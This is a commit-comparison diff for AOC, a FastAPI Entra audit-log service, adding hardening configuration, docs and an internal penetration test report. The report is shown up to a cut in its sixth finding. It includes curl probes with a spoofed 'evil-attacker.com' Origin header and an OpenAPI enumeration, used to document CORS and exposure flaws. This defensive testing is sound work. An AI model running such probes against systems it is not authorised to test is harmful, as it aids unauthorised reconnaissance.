Compare commits
14 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
| 7639f5f69d | |||
| 79647d8962 | |||
| ad5816dc2d | |||
| 53724c1671 | |||
| 401d4e2717 | |||
| eea54dd203 | |||
| da0f082b45 | |||
| 5e6997cbd6 | |||
| 85db9d14a8 | |||
| f7fca05210 | |||
| fe95dfcfce | |||
| 8d951fc335 | |||
| 35eca65234 | |||
| 07a841615b |
@@ -27,6 +27,18 @@ RETENTION_DAYS=0
|
|||||||
# Optional: comma-separated CORS origins (e.g., http://localhost:3000,https://app.example.com)
|
# Optional: comma-separated CORS origins (e.g., http://localhost:3000,https://app.example.com)
|
||||||
CORS_ORIGINS=*
|
CORS_ORIGINS=*
|
||||||
|
|
||||||
|
# OpenAPI docs exposure (set true only for dev)
|
||||||
|
DOCS_ENABLED=false
|
||||||
|
|
||||||
|
# LLM endpoint domain restriction (comma-separated, supports wildcards like *.openai.azure.com)
|
||||||
|
# LLM_ALLOWED_DOMAINS=api.openai.com,*.openai.azure.com
|
||||||
|
|
||||||
|
# SIEM webhook domain restriction (comma-separated)
|
||||||
|
# SIEM_ALLOWED_DOMAINS=your-siem.com
|
||||||
|
|
||||||
|
# Optional Azure Key Vault for secrets storage
|
||||||
|
# AZURE_KEY_VAULT_NAME=your-keyvault-name
|
||||||
|
|
||||||
# Optional: SIEM export webhook (e.g., Splunk HEC, Sentinel, or generic syslog webhook)
|
# Optional: SIEM export webhook (e.g., Splunk HEC, Sentinel, or generic syslog webhook)
|
||||||
SIEM_ENABLED=false
|
SIEM_ENABLED=false
|
||||||
SIEM_WEBHOOK_URL=
|
SIEM_WEBHOOK_URL=
|
||||||
|
|||||||
+15
-7
@@ -17,21 +17,29 @@ jobs:
|
|||||||
- uses: actions/checkout@v4
|
- uses: actions/checkout@v4
|
||||||
|
|
||||||
- name: Set up Python
|
- name: Set up Python
|
||||||
uses: actions/setup-python@v5
|
run: |
|
||||||
with:
|
apt-get update && apt-get install -y python3 python3-venv || true
|
||||||
python-version: "3.11"
|
python3 --version
|
||||||
|
|
||||||
- name: Install dependencies
|
- name: Install dependencies
|
||||||
run: |
|
run: |
|
||||||
python -m pip install --upgrade pip
|
python3 -m venv .venv
|
||||||
|
source .venv/bin/activate
|
||||||
|
pip install --upgrade pip
|
||||||
pip install -r requirements.txt
|
pip install -r requirements.txt
|
||||||
pip install -r requirements-dev.txt
|
pip install -r requirements-dev.txt
|
||||||
|
|
||||||
- name: Lint with ruff
|
- name: Lint with ruff
|
||||||
run: ruff check .
|
run: |
|
||||||
|
source .venv/bin/activate
|
||||||
|
ruff check .
|
||||||
|
|
||||||
- name: Format check with ruff
|
- name: Format check with ruff
|
||||||
run: ruff format --check .
|
run: |
|
||||||
|
source .venv/bin/activate
|
||||||
|
ruff format --check .
|
||||||
|
|
||||||
- name: Run tests
|
- name: Run tests
|
||||||
run: pytest -q
|
run: |
|
||||||
|
source .venv/bin/activate
|
||||||
|
pytest -q
|
||||||
|
|||||||
+11
@@ -2,11 +2,22 @@
|
|||||||
.DS_Store
|
.DS_Store
|
||||||
__pycache__/
|
__pycache__/
|
||||||
*.py[cod]
|
*.py[cod]
|
||||||
|
*.pyo
|
||||||
.venv/
|
.venv/
|
||||||
venv/
|
venv/
|
||||||
|
.*venv*/
|
||||||
.pytest_cache/
|
.pytest_cache/
|
||||||
.mypy_cache/
|
.mypy_cache/
|
||||||
|
.ruff_cache/
|
||||||
.coverage*
|
.coverage*
|
||||||
coverage.xml
|
coverage.xml
|
||||||
.vscode/
|
.vscode/
|
||||||
.idea/
|
.idea/
|
||||||
|
memory/
|
||||||
|
*.log
|
||||||
|
*.tmp
|
||||||
|
*.swp
|
||||||
|
*.swo
|
||||||
|
*.bak
|
||||||
|
*.orig
|
||||||
|
*.rej
|
||||||
|
|||||||
@@ -9,20 +9,24 @@ AOC is a FastAPI microservice that ingests Microsoft Entra (Azure AD) audit logs
|
|||||||
- **Runtime**: Python 3.11 (3.14 for tests)
|
- **Runtime**: Python 3.11 (3.14 for tests)
|
||||||
- **Web Framework**: FastAPI + Uvicorn (Gunicorn in production)
|
- **Web Framework**: FastAPI + Uvicorn (Gunicorn in production)
|
||||||
- **Database**: MongoDB (PyMongo)
|
- **Database**: MongoDB (PyMongo)
|
||||||
|
- **Cache/Queue**: Valkey/Redis 8 (caching + arq async job queue)
|
||||||
- **Frontend**: Alpine.js + HTML/CSS (served as static files from `backend/frontend/`)
|
- **Frontend**: Alpine.js + HTML/CSS (served as static files from `backend/frontend/`)
|
||||||
- **Authentication**: Optional OIDC Bearer token validation against Microsoft Entra (using `python-jose` and MSAL.js on the frontend)
|
- **Authentication**: Optional OIDC Bearer token validation against Microsoft Entra (using `python-jose` and MSAL.js on the frontend)
|
||||||
- **External APIs**: Microsoft Graph API, Office 365 Management Activity API, Azure OpenAI / MS Foundry
|
- **External APIs**: Microsoft Graph API, Office 365 Management Activity API, Azure OpenAI / MS Foundry
|
||||||
- **Deployment**: Docker Compose (dev), Docker Compose + nginx (prod)
|
- **Deployment**: Docker Compose (dev), Docker Compose + nginx (prod)
|
||||||
- **CI/CD**: Gitea Actions (lint + test + Docker build + release)
|
- **CI/CD**: Gitea Actions (lint + test + Docker build + release)
|
||||||
|
- **Secrets Storage**: Environment variables (`.env`) or optional Azure Key Vault
|
||||||
|
|
||||||
## Project Structure
|
## Project Structure
|
||||||
|
|
||||||
```
|
```
|
||||||
backend/
|
backend/
|
||||||
main.py # FastAPI app, router registration, background periodic fetch
|
main.py # FastAPI app, router registration, background periodic fetch
|
||||||
config.py # Pydantic Settings configuration (loads .env)
|
config.py # Pydantic Settings configuration (loads .env + optional Key Vault)
|
||||||
database.py # MongoClient setup (db = micro_soc, collection = events)
|
database.py # MongoClient setup (db = micro_soc, collection = events)
|
||||||
auth.py # OIDC Bearer token validation, JWKS caching, role/group checks
|
auth.py # OIDC Bearer token validation, JWKS caching, role/group checks
|
||||||
|
secrets_manager.py # Optional Azure Key Vault integration for secrets
|
||||||
|
rate_limiter.py # Redis-backed fixed-window rate limiter (fail-closed)
|
||||||
requirements.txt # Python dependencies
|
requirements.txt # Python dependencies
|
||||||
Dockerfile # python:3.11-slim image, non-root user, version baked at build
|
Dockerfile # python:3.11-slim image, non-root user, version baked at build
|
||||||
mcp_server.py # Standalone MCP server for Claude Desktop / Cursor integration
|
mcp_server.py # Standalone MCP server for Claude Desktop / Cursor integration
|
||||||
@@ -34,6 +38,9 @@ backend/
|
|||||||
health.py # GET /health, GET /metrics
|
health.py # GET /health, GET /metrics
|
||||||
rules.py # Rule-based alerting endpoints
|
rules.py # Rule-based alerting endpoints
|
||||||
webhooks.py # Microsoft Graph change notification webhooks
|
webhooks.py # Microsoft Graph change notification webhooks
|
||||||
|
alerts.py # Alert management endpoints
|
||||||
|
saved_searches.py # Saved filter presets
|
||||||
|
jobs.py # Async job status polling
|
||||||
graph/
|
graph/
|
||||||
auth.py # Client credentials token acquisition for Graph
|
auth.py # Client credentials token acquisition for Graph
|
||||||
audit_logs.py # Fetch and enrich directory audit logs from Graph
|
audit_logs.py # Fetch and enrich directory audit logs from Graph
|
||||||
@@ -59,16 +66,42 @@ Copy `.env.example` to `.env` at the repo root and fill in values:
|
|||||||
cp .env.example .env
|
cp .env.example .env
|
||||||
```
|
```
|
||||||
|
|
||||||
Key variables:
|
### Core variables
|
||||||
- `TENANT_ID`, `CLIENT_ID`, `CLIENT_SECRET` — Microsoft app registration credentials (application permissions)
|
- `TENANT_ID`, `CLIENT_ID`, `CLIENT_SECRET` — Microsoft app registration credentials (application permissions)
|
||||||
- `AUTH_ENABLED` — set `true` to protect API/UI with OIDC Bearer tokens
|
- `AUTH_ENABLED` — set `true` to protect API/UI with OIDC Bearer tokens
|
||||||
- `AUTH_TENANT_ID`, `AUTH_CLIENT_ID` — token validation audience/issuer
|
- `AUTH_TENANT_ID`, `AUTH_CLIENT_ID` — token validation audience/issuer
|
||||||
- `AUTH_ALLOWED_ROLES`, `AUTH_ALLOWED_GROUPS` — comma-separated access control lists
|
- `AUTH_ALLOWED_ROLES`, `AUTH_ALLOWED_GROUPS` — comma-separated access control lists
|
||||||
- `ENABLE_PERIODIC_FETCH`, `FETCH_INTERVAL_MINUTES` — background ingestion scheduler
|
- `ENABLE_PERIODIC_FETCH`, `FETCH_INTERVAL_MINUTES` — background ingestion scheduler
|
||||||
- `MONGO_ROOT_USERNAME`, `MONGO_ROOT_PASSWORD`, `MONGO_PORT` — used by Docker Compose for MongoDB
|
- `MONGO_ROOT_USERNAME`, `MONGO_ROOT_PASSWORD`, `MONGO_PORT` — used by Docker Compose for MongoDB
|
||||||
|
|
||||||
|
### AI / LLM variables
|
||||||
- `AI_FEATURES_ENABLED` — set `false` to completely disable AI endpoints and UI (default `true`)
|
- `AI_FEATURES_ENABLED` — set `false` to completely disable AI endpoints and UI (default `true`)
|
||||||
- `LLM_API_KEY`, `LLM_BASE_URL`, `LLM_MODEL`, `LLM_MAX_EVENTS`, `LLM_TIMEOUT_SECONDS` — LLM provider settings
|
- `LLM_API_KEY`, `LLM_BASE_URL`, `LLM_MODEL`, `LLM_MAX_EVENTS`, `LLM_TIMEOUT_SECONDS` — LLM provider settings
|
||||||
- `LLM_API_VERSION` — required for Azure OpenAI / MS Foundry endpoints
|
- `LLM_API_VERSION` — required for Azure OpenAI / MS Foundry endpoints
|
||||||
|
- `LLM_ALLOWED_DOMAINS` — comma-separated domain allowlist for LLM endpoints (e.g. `api.openai.com,*.openai.azure.com`)
|
||||||
|
|
||||||
|
### Security variables
|
||||||
|
- `CORS_ORIGINS` — comma-separated allowed origins (default `*`; set explicit origins in production)
|
||||||
|
- `DOCS_ENABLED` — set `true` to expose `/docs`, `/redoc`, `/openapi.json` (default `false`)
|
||||||
|
- `METRICS_ALLOWED_IPS` — comma-separated CIDRs allowed to access `/metrics` (default: private networks + loopback)
|
||||||
|
- `WEBHOOK_CLIENT_SECRET` — secret for validating Graph webhook `clientState`
|
||||||
|
- `SIEM_ENABLED`, `SIEM_WEBHOOK_URL` — optional SIEM forwarding
|
||||||
|
- `SIEM_ALLOWED_DOMAINS` — comma-separated domain allowlist for SIEM webhook URLs
|
||||||
|
- `RATE_LIMIT_ENABLED`, `RATE_LIMIT_REQUESTS`, `RATE_LIMIT_WINDOW_SECONDS` — Redis-backed rate limiting
|
||||||
|
|
||||||
|
### Optional Azure Key Vault
|
||||||
|
- `AZURE_KEY_VAULT_NAME` — name of the Azure Key Vault to load secrets from
|
||||||
|
- When set, AOC fetches these secrets at startup:
|
||||||
|
- `aoc-client-secret` → `CLIENT_SECRET`
|
||||||
|
- `aoc-llm-api-key` → `LLM_API_KEY`
|
||||||
|
- `aoc-mongo-uri` → `MONGO_URI`
|
||||||
|
- `aoc-webhook-client-secret` → `WEBHOOK_CLIENT_SECRET`
|
||||||
|
- Requires `azure-identity` and `azure-keyvault-secrets` (uncomment in `requirements.txt`)
|
||||||
|
|
||||||
|
### Privacy / access control
|
||||||
|
- `PRIVACY_SERVICES` — comma-separated services to hide from non-privileged users (e.g. `Exchange,Teams`)
|
||||||
|
- `PRIVACY_SENSITIVE_OPERATIONS` — comma-separated operations to gate
|
||||||
|
- `PRIVACY_SERVICE_ROLES` — comma-separated Entra roles that grant access to privacy data
|
||||||
|
|
||||||
## Build and Run Commands
|
## Build and Run Commands
|
||||||
|
|
||||||
@@ -102,7 +135,9 @@ uvicorn main:app --reload --host 0.0.0.0 --port 8000
|
|||||||
- `GET /api/config/features` — feature flags (`ai_features_enabled`)
|
- `GET /api/config/features` — feature flags (`ai_features_enabled`)
|
||||||
- `POST /api/ask` — natural language query; returns LLM narrative + referenced events (only when `AI_FEATURES_ENABLED=true`)
|
- `POST /api/ask` — natural language query; returns LLM narrative + referenced events (only when `AI_FEATURES_ENABLED=true`)
|
||||||
- `GET /health` — liveness probe with DB connectivity
|
- `GET /health` — liveness probe with DB connectivity
|
||||||
- `GET /metrics` — Prometheus metrics
|
- `GET /metrics` — Prometheus metrics (IP-restricted by default)
|
||||||
|
- `GET /api/source-health` — last fetch status per ingestion source
|
||||||
|
- `GET /api/version` — running version
|
||||||
|
|
||||||
## MCP Server
|
## MCP Server
|
||||||
|
|
||||||
@@ -162,16 +197,30 @@ When adding new features or bug fixes, add or update tests in `backend/tests/`.
|
|||||||
- Auth middleware and token validation
|
- Auth middleware and token validation
|
||||||
- API endpoints (`/api/events`, `/api/fetch-audit-logs`, `/api/ask`)
|
- API endpoints (`/api/events`, `/api/fetch-audit-logs`, `/api/ask`)
|
||||||
- NLQ time range extraction, entity extraction, query building
|
- NLQ time range extraction, entity extraction, query building
|
||||||
|
- Rate limiting behavior
|
||||||
|
|
||||||
## Security Considerations
|
## Security Considerations
|
||||||
|
|
||||||
- **Secrets**: `CLIENT_SECRET`, `LLM_API_KEY`, and other credentials come from `.env`. Never commit `.env`.
|
- **Secrets**: `CLIENT_SECRET`, `LLM_API_KEY`, and other credentials come from `.env` or Azure Key Vault. Never commit `.env`.
|
||||||
- **Auth validation**: When `AUTH_ENABLED=true`, the backend fetches JWKS from `https://login.microsoftonline.com/{AUTH_TENANT_ID}/v2.0/.well-known/openid-configuration`, caches keys for 1 hour, and validates tenant/issuer claims. Tokens are decoded without strict signature verification (`jwt.get_unverified_claims`), so the tenant and issuer checks are the primary gate.
|
- **Auth validation**: When `AUTH_ENABLED=true`, the backend fetches JWKS from `https://login.microsoftonline.com/{AUTH_TENANT_ID}/v2.0/.well-known/openid-configuration`, caches keys for 1 hour, and validates tenant/issuer/audience claims. Tokens are decoded with RS256 signature verification.
|
||||||
- **Role/Group gating**: Access is allowed if the token’s `roles` intersect `AUTH_ALLOWED_ROLES` or `groups` intersect `AUTH_ALLOWED_GROUPS`. If neither list is configured, all authenticated users are allowed.
|
- **Role/Group gating**: Access is allowed if the token's `roles` intersect `AUTH_ALLOWED_ROLES` or `groups` intersect `AUTH_ALLOWED_GROUPS`. If neither list is configured, all authenticated users are allowed — a startup warning is logged in this case.
|
||||||
|
- **CORS**: When `AUTH_ENABLED=true` and `CORS_ORIGINS="*"`, `allow_credentials` is forced to `false` to prevent cross-origin token leakage.
|
||||||
|
- **Rate limiting**: Redis-backed fixed-window rate limiting with per-category limits (fetch=10/hr, ask=30/min, write=20/min, default=120/min). Fails closed (returns 429) when Redis is unavailable.
|
||||||
- **Pagination limits**: `page_size` is clamped to a maximum of 500 to prevent large queries.
|
- **Pagination limits**: `page_size` is clamped to a maximum of 500 to prevent large queries.
|
||||||
- **Fetch window cap**: `hours` is clamped to 720 (30 days) to avoid runaway API calls.
|
- **Fetch window cap**: `hours` is clamped to 720 (30 days) to avoid runaway API calls.
|
||||||
|
- **LLM SSRF guard**: `LLM_BASE_URL` must be HTTPS and cannot point to private IPs. Optional `LLM_ALLOWED_DOMAINS` restricts to specific domains.
|
||||||
|
- **SIEM SSRF guard**: `SIEM_WEBHOOK_URL` has the same validation as LLM URLs, plus optional `SIEM_ALLOWED_DOMAINS`.
|
||||||
|
- **Metrics IP gating**: `/metrics` is restricted to private/loopback IPs by default via `METRICS_ALLOWED_IPS`.
|
||||||
|
- **OpenAPI docs**: Disabled by default (`DOCS_ENABLED=false`). Enable only in development.
|
||||||
|
- **CSP**: Content-Security-Policy headers are set on all responses. `unsafe-eval` is required for Alpine.js v3 expression evaluation.
|
||||||
|
- **SRI**: CDN scripts (Alpine.js, MSAL.js) include Subresource Integrity hashes to prevent supply chain compromise.
|
||||||
- **MCP server**: The MCP server bypasses auth entirely. Only run it in trusted environments or behind a VPN.
|
- **MCP server**: The MCP server bypasses auth entirely. Only run it in trusted environments or behind a VPN.
|
||||||
|
|
||||||
|
### Security Documentation
|
||||||
|
|
||||||
|
- `PEN_TEST_REPORT_v1.7.11.md` — Internal soft penetration test findings and remediation
|
||||||
|
- `THREAT_MODEL_v1.7.13.md` — Comprehensive threat model covering Entra/token abuse vectors
|
||||||
|
|
||||||
## Maintenance and Operations
|
## Maintenance and Operations
|
||||||
|
|
||||||
The `backend/maintenance.py` script provides two CLI commands useful for backfilling or correcting stored data:
|
The `backend/maintenance.py` script provides two CLI commands useful for backfilling or correcting stored data:
|
||||||
|
|||||||
@@ -7,6 +7,7 @@ AOC runs as a set of Docker containers orchestrated by Docker Compose:
|
|||||||
- **nginx** — reverse proxy, TLS termination, static file serving
|
- **nginx** — reverse proxy, TLS termination, static file serving
|
||||||
- **backend** — FastAPI application (Gunicorn + Uvicorn workers)
|
- **backend** — FastAPI application (Gunicorn + Uvicorn workers)
|
||||||
- **mongo** — MongoDB data store (not exposed externally)
|
- **mongo** — MongoDB data store (not exposed externally)
|
||||||
|
- **valkey** — Redis-compatible cache and async job queue (not exposed externally)
|
||||||
|
|
||||||
## Prerequisites
|
## Prerequisites
|
||||||
|
|
||||||
@@ -20,7 +21,7 @@ AOC runs as a set of Docker containers orchestrated by Docker Compose:
|
|||||||
1. **Clone / pull the latest release**
|
1. **Clone / pull the latest release**
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
git checkout v1.1.0
|
git checkout v1.7.14
|
||||||
```
|
```
|
||||||
|
|
||||||
2. **Copy and edit environment variables**
|
2. **Copy and edit environment variables**
|
||||||
@@ -33,7 +34,7 @@ AOC runs as a set of Docker containers orchestrated by Docker Compose:
|
|||||||
3. **Set the release version**
|
3. **Set the release version**
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
export AOC_VERSION=v1.1.0
|
export AOC_VERSION=v1.7.14
|
||||||
```
|
```
|
||||||
|
|
||||||
4. **Deploy**
|
4. **Deploy**
|
||||||
@@ -53,7 +54,7 @@ AOC runs as a set of Docker containers orchestrated by Docker Compose:
|
|||||||
## Updating to a new release
|
## Updating to a new release
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
export AOC_VERSION=v1.2.0
|
export AOC_VERSION=v1.7.14
|
||||||
docker compose -f docker-compose.prod.yml pull
|
docker compose -f docker-compose.prod.yml pull
|
||||||
docker compose -f docker-compose.prod.yml up -d
|
docker compose -f docker-compose.prod.yml up -d
|
||||||
```
|
```
|
||||||
@@ -75,24 +76,56 @@ docker compose -f docker-compose.prod.yml up -d
|
|||||||
|
|
||||||
Replace the `nginx` service in `docker-compose.prod.yml` with a Certbot-friendly setup (e.g., use the `nginx-proxy` + `acme-companion` stack) or mount the Certbot certificates into `nginx/ssl/`.
|
Replace the `nginx` service in `docker-compose.prod.yml` with a Certbot-friendly setup (e.g., use the `nginx-proxy` + `acme-companion` stack) or mount the Certbot certificates into `nginx/ssl/`.
|
||||||
|
|
||||||
## Security hardening
|
## Security Hardening
|
||||||
|
|
||||||
- MongoDB is **not exposed** to the host — only the backend container can reach it.
|
- MongoDB is **not exposed** to the host — only the backend container can reach it.
|
||||||
|
- Valkey/Redis is **not exposed** to the host — only the backend container can reach it.
|
||||||
- The backend runs as a non-root (`aoc`) user inside the container.
|
- The backend runs as a non-root (`aoc`) user inside the container.
|
||||||
- nginx adds security headers (`X-Frame-Options`, `X-Content-Type-Options`, etc.).
|
- nginx adds security headers (`X-Frame-Options`, `X-Content-Type-Options`, etc.).
|
||||||
- Keep `.env` out of version control — it is listed in `.gitignore`.
|
- Keep `.env` out of version control — it is listed in `.gitignore`.
|
||||||
|
- Set `AUTH_ENABLED=true` and configure `AUTH_ALLOWED_ROLES` or `AUTH_ALLOWED_GROUPS` to restrict access to admin/security roles.
|
||||||
|
- Set explicit `CORS_ORIGINS` — do not use `*` in production when auth is enabled.
|
||||||
|
- Set `DOCS_ENABLED=false` to hide OpenAPI docs (`/docs`, `/openapi.json`).
|
||||||
|
- Configure `WEBHOOK_CLIENT_SECRET` to validate Graph webhook notifications.
|
||||||
|
- Set `LLM_ALLOWED_DOMAINS` if using AI features (e.g. `api.openai.com,*.openai.azure.com`).
|
||||||
|
- Set `SIEM_ALLOWED_DOMAINS` if using SIEM forwarding.
|
||||||
|
- Review `METRICS_ALLOWED_IPS` — defaults to private networks + loopback.
|
||||||
|
|
||||||
|
## Azure Key Vault (Optional)
|
||||||
|
|
||||||
|
To eliminate long-lived secrets from `.env`:
|
||||||
|
|
||||||
|
1. Create an Azure Key Vault and add these secrets:
|
||||||
|
- `aoc-client-secret` — your Graph app `CLIENT_SECRET`
|
||||||
|
- `aoc-llm-api-key` — your `LLM_API_KEY` (if using AI)
|
||||||
|
- `aoc-mongo-uri` — your `MONGO_URI`
|
||||||
|
- `aoc-webhook-client-secret` — your `WEBHOOK_CLIENT_SECRET`
|
||||||
|
|
||||||
|
2. Uncomment `azure-identity` and `azure-keyvault-secrets` in `backend/requirements.txt`
|
||||||
|
|
||||||
|
3. Set `AZURE_KEY_VAULT_NAME=your-keyvault-name` in `.env`
|
||||||
|
|
||||||
|
4. Grant the container identity `Get` permission on secrets:
|
||||||
|
- If using Azure Container Instances / AKS: assign a managed identity
|
||||||
|
- If using VM: assign a managed identity or use a service principal
|
||||||
|
- If using local Docker: authenticate via `az login` on the host
|
||||||
|
|
||||||
|
5. Rebuild and redeploy:
|
||||||
|
```bash
|
||||||
|
docker compose -f docker-compose.prod.yml up -d --build
|
||||||
|
```
|
||||||
|
|
||||||
## Rollback
|
## Rollback
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
export AOC_VERSION=v1.0.3
|
export AOC_VERSION=v1.7.13
|
||||||
docker compose -f docker-compose.prod.yml pull
|
docker compose -f docker-compose.prod.yml pull
|
||||||
docker compose -f docker-compose.prod.yml up -d
|
docker compose -f docker-compose.prod.yml up -d
|
||||||
```
|
```
|
||||||
|
|
||||||
## Monitoring
|
## Monitoring
|
||||||
|
|
||||||
- Prometheus metrics: `http://your-host/metrics`
|
- Prometheus metrics: `http://your-host/metrics` (IP-restricted by default)
|
||||||
- Health check: `http://your-host/health`
|
- Health check: `http://your-host/health`
|
||||||
- Container logs:
|
- Container logs:
|
||||||
|
|
||||||
@@ -100,4 +133,13 @@ docker compose -f docker-compose.prod.yml up -d
|
|||||||
docker compose -f docker-compose.prod.yml logs -f backend
|
docker compose -f docker-compose.prod.yml logs -f backend
|
||||||
docker compose -f docker-compose.prod.yml logs -f nginx
|
docker compose -f docker-compose.prod.yml logs -f nginx
|
||||||
docker compose -f docker-compose.prod.yml logs -f mongo
|
docker compose -f docker-compose.prod.yml logs -f mongo
|
||||||
|
docker compose -f docker-compose.prod.yml logs -f valkey
|
||||||
```
|
```
|
||||||
|
|
||||||
|
## Troubleshooting
|
||||||
|
|
||||||
|
- **Auth warning in logs**: "AUTH_ENABLED is true but no AUTH_ALLOWED_ROLES or AUTH_ALLOWED_GROUPS are configured" — set these to restrict access.
|
||||||
|
- **CORS issues**: Set `CORS_ORIGINS` to your exact frontend origin(s). Wildcard with auth enabled disables credentials.
|
||||||
|
- **Rate limiting 429s**: Check Redis/Valkey connectivity. The rate limiter fails closed (returns 429) when Redis is down.
|
||||||
|
- **LLM errors**: Verify `LLM_BASE_URL` is in `LLM_ALLOWED_DOMAINS` if the allowlist is configured.
|
||||||
|
- **SIEM not forwarding**: Verify `SIEM_WEBHOOK_URL` uses HTTPS and is in `SIEM_ALLOWED_DOMAINS`.
|
||||||
|
|||||||
@@ -0,0 +1,203 @@
|
|||||||
|
# AOC v1.7.11 Soft Penetration Test Report
|
||||||
|
|
||||||
|
**Date:** 2026-04-27
|
||||||
|
**Target:** Local AOC instance (port 8001), auth disabled, AI disabled
|
||||||
|
**Tester:** Automated + manual curl-based probing
|
||||||
|
**Scope:** FastAPI backend, REST API endpoints, middleware, headers
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Executive Summary
|
||||||
|
|
||||||
|
AOC v1.7.11 has one **CRITICAL** vulnerability (CORS credentials leak) and several defense-in-depth gaps. The good news: input validation, NoSQL injection resistance, and error handling are solid. The bad news: CORS is dangerously permissive, security headers are missing, and the rate limiter fails open on Redis failure.
|
||||||
|
|
||||||
|
| Severity | Count | Categories |
|
||||||
|
|----------|-------|------------|
|
||||||
|
| CRITICAL | 1 | CORS with credentials |
|
||||||
|
| HIGH | 1 | Missing security headers |
|
||||||
|
| MEDIUM | 2 | Fail-open rate limiter, OpenAPI exposure |
|
||||||
|
| LOW | 2 | Information disclosure, webhook content injection |
|
||||||
|
| INFO | 3 | Positive findings (no stack traces, input validation, NoSQL resistance) |
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## CRITICAL
|
||||||
|
|
||||||
|
### 1. CORS Reflects Any Origin with `allow_credentials=true`
|
||||||
|
|
||||||
|
**Finding:** The CORS middleware returns `Access-Control-Allow-Origin: <any origin>` AND `Access-Control-Allow-Credentials: true` for every origin that sends an `Origin` header.
|
||||||
|
|
||||||
|
**Evidence:**
|
||||||
|
```bash
|
||||||
|
curl -H "Origin: https://evil-attacker.com" http://localhost:8001/api/config/auth
|
||||||
|
# Response headers:
|
||||||
|
# access-control-allow-origin: https://evil-attacker.com
|
||||||
|
# access-control-allow-credentials: true
|
||||||
|
```
|
||||||
|
|
||||||
|
**Impact:** An attacker can host a malicious page on any domain and make authenticated cross-origin requests to the AOC API using the victim's browser cookies/tokens. This effectively bypasses Same-Origin Policy for authenticated actions.
|
||||||
|
|
||||||
|
**Root Cause:** `main.py` configures CORS with `allow_origins=["*"]` (from `CORS_ORIGINS` env var, default `"*"`) AND `allow_credentials=True`. According to CORS spec, a wildcard origin with credentials is technically invalid, but Starlette/FastAPI appears to reflect the request origin instead.
|
||||||
|
|
||||||
|
**Recommendation:**
|
||||||
|
- When `AUTH_ENABLED=true`, reject requests from origins not in an explicit allowlist.
|
||||||
|
- Set `allow_credentials=False` if wildcard origins are needed.
|
||||||
|
- Or, require `CORS_ORIGINS` to be explicitly configured (no default wildcard) when auth is enabled.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## HIGH
|
||||||
|
|
||||||
|
### 2. Missing Security Headers
|
||||||
|
|
||||||
|
**Finding:** The following security headers are absent from all responses:
|
||||||
|
|
||||||
|
| Header | Purpose | Status |
|
||||||
|
|--------|---------|--------|
|
||||||
|
| `X-Content-Type-Options: nosniff` | Prevents MIME sniffing | MISSING |
|
||||||
|
| `X-Frame-Options: DENY` or `SAMEORIGIN` | Clickjacking protection | MISSING |
|
||||||
|
| `Strict-Transport-Security` | HSTS enforcement | MISSING |
|
||||||
|
| `Referrer-Policy: strict-origin-when-cross-origin` | Limits referrer leakage | MISSING |
|
||||||
|
| `Permissions-Policy` | Restricts browser features | MISSING |
|
||||||
|
|
||||||
|
**Impact:** Increased attack surface for clickjacking, MIME confusion attacks, and information leakage via referrer headers.
|
||||||
|
|
||||||
|
**Recommendation:** Add a security headers middleware to set these on all responses. HSTS only when served over HTTPS.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## MEDIUM
|
||||||
|
|
||||||
|
### 3. Rate Limiter Fails Open on Redis Failure
|
||||||
|
|
||||||
|
**Finding:** In `rate_limiter.py` line 81-82:
|
||||||
|
```python
|
||||||
|
except Exception as exc:
|
||||||
|
logger.warning("Rate limiter Redis error; allowing request", error=str(exc))
|
||||||
|
```
|
||||||
|
|
||||||
|
If Redis becomes unreachable, all rate limits are silently bypassed.
|
||||||
|
|
||||||
|
**Evidence:** When Redis was down, 150+ requests to `/api/events` all returned 200 with no 429s.
|
||||||
|
|
||||||
|
**Impact:** A DoS on Redis (or a network partition) removes all rate limiting, allowing unlimited API abuse.
|
||||||
|
|
||||||
|
**Recommendation:** Make the rate limiter fail-closed: return 429 or 503 when Redis is unavailable, or use an in-memory fallback with a conservative limit.
|
||||||
|
|
||||||
|
### 4. OpenAPI Schema Publicly Exposed
|
||||||
|
|
||||||
|
**Finding:** `/docs`, `/redoc`, and `/openapi.json` are accessible without authentication and return the full API schema.
|
||||||
|
|
||||||
|
**Evidence:**
|
||||||
|
```bash
|
||||||
|
curl -s http://localhost:8001/openapi.json | jq '.paths | keys'
|
||||||
|
# Returns all 15+ API paths including internal endpoints
|
||||||
|
```
|
||||||
|
|
||||||
|
**Impact:** Attackers get a complete map of the API, including request/response schemas, parameter types, and endpoint structure. This significantly reduces reconnaissance time.
|
||||||
|
|
||||||
|
**Recommendation:** Disable OpenAPI docs in production (`docs_url=None, redoc_url=None, openapi_url=None`) or gate them behind admin authentication.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## LOW
|
||||||
|
|
||||||
|
### 5. Information Disclosure via `/api/config/auth` and `/metrics`
|
||||||
|
|
||||||
|
**Finding:**
|
||||||
|
- `/api/config/auth` leaks `tenant_id` and `client_id` even when auth is disabled. These values fall back to the Graph API credentials (`TENANT_ID`/`CLIENT_ID`), which may be sensitive.
|
||||||
|
- `/metrics` exposes Python version (`3.14.3`), GC statistics, and application-internal metric names.
|
||||||
|
|
||||||
|
**Evidence:**
|
||||||
|
```json
|
||||||
|
{
|
||||||
|
"auth_enabled": false,
|
||||||
|
"tenant_id": "0ec9f34c-17c8-4541-b084-7d64ecdcc997",
|
||||||
|
"client_id": "cc31fd45-1eca-431f-a2c6-ba81cd4c5d50"
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
**Impact:** Low direct impact (tenant/client IDs are not secrets), but aids reconnaissance and narrows the attack surface.
|
||||||
|
|
||||||
|
**Recommendation:**
|
||||||
|
- Return empty strings for `tenant_id`/`client_id` when `auth_enabled=false`.
|
||||||
|
- Gate `/metrics` behind IP allowlist or admin auth (standard Prometheus practice).
|
||||||
|
|
||||||
|
### 6. Webhook Validation Token Echoed Without Sanitization
|
||||||
|
|
||||||
|
**Finding:** The `/api/webhooks/graph` endpoint echoes `validationToken` query parameter as `text/plain` without any sanitization or length limits.
|
||||||
|
|
||||||
|
**Evidence:**
|
||||||
|
```bash
|
||||||
|
